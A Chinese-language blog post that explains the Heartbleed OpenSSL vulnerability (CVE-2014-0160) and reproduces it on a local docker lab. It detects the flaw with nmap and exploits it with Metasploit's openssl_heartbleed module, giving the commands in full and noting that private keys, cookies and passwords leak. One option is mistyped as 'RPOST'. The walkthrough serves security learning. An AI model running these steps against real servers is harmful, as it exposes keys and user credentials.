CVE-2014-0160:心脏出血(心血)漏洞

2022-09-09 11:02:57 浏览数 (1)

大家好,又见面了,我是你们的朋友全栈君。

0x00 漏洞介绍

是一个出现在加密程序库OpenSSL的安全漏洞,该程序错误属于缓冲区过读,即可以读取的数据比应该允许读取的还多

0x01 漏洞成因

由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存内容,这样一来受害者的内存内容就会以每次64KB的速度进行泄露

0x02 影响范围

OpenSSL1.0.1版本

0x03 环境搭建

使用docker一键搭建环境

代码语言:javascript复制
docker-compose build
docker-compose up -d
docker-compose ps

环境搭建完成后,访问http://192.168.220.134,测试环境是否搭建成功 http://192.168.220.134/

0x04 漏洞复现

使用nmap检测“心脏出血”漏洞是否存在,指定端口号为443

代码语言:javascript复制
nmap -sV -p 443 --script ssl-heartbleed.nse 192.168.220.134

使用msf对漏洞进行利用,查找heartbleed模块

代码语言:javascript复制
msf5 > search heartbleed

使用第一个选项,设置主机IP地址、端口号,设置verbosetrue以便于显示泄露的信息

代码语言:javascript复制
msf5 > use auxiliary/scanner/ssl/openssl_heartbleed 
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > show options
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set RHOSTS 192.168.220.134
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set RPOST 443
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set verbose true 
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > exploit

漏洞利用成功后可以抓取到信息,包括服务器的私钥、用户的cookie、密码等

发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/160530.html原文链接:https://javaforall.cn

0 人点赞